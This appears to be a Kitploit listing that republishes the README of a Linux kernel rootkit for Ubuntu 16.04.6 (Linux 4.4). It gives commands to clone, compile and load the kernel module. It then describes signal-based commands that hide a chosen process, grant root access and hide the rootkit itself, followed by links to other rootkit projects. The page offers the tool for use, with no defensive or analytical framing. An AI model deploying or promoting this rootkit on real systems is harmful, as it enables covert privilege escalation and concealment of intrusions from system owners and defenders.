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RootKit — A rootkit for ubuntu-16.04.6 (Linux 4.4). Can hide a process, give root access and hide itself | Kitploit
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RootKit

A rootkit for ubuntu-16.04.6 (Linux 4.4). Can hide a process, give root access and hide itself

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This is a rootkit which was tested on ubuntu-16.04.6-desktop-amd64 (Linux 4.4),but it should be easy to port to different kernel versions.

Link to video --> https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing

Installation

Clone the repository

root@kitploit:~
git clone https://github.com/Asekon/RootKit

Enter the folder

root@kitploit:~
cd RootKit

Compile

root@kitploit:~
sudo make

Insert the module into the kernel as root

root@kitploit:~
sudo insmod RootKit.ko

Usage

(Un)Hide a process (example:PID 500)

root@kitploit:~
kill -0 500

Gain Root access (you can insert any PID,doesnt have to be 0)

root@kitploit:~
kill -1 0

(Un)Hide the Rootkit (you can insert any PID,doesnt have to be 0)

root@kitploit:~
kill -2 0

Uninstall

remove the module from the kernel as root (make sure it is visible in the module list first)

root@kitploit:~
sudo rmmod RootKit

References

https://en.wikipedia.org/wiki/Rootkit

http://dandylife.net/blog/archives/304

https://github.com/nurupo/rootkit

https://github.com/f0rb1dd3n/Reptile

https://github.com/m0nad/Diamorphine

http://lwn.net/Kernel/LDD3/

http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/

http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html

https://yassine.tioual.com/index.php/2017/01/10/hiding-processes-for-fun-and-profit/

https://www.howtogeek.com/107217/how-to-manage-processes-from-the-linux-terminal-10-commands-you-need-to-know/

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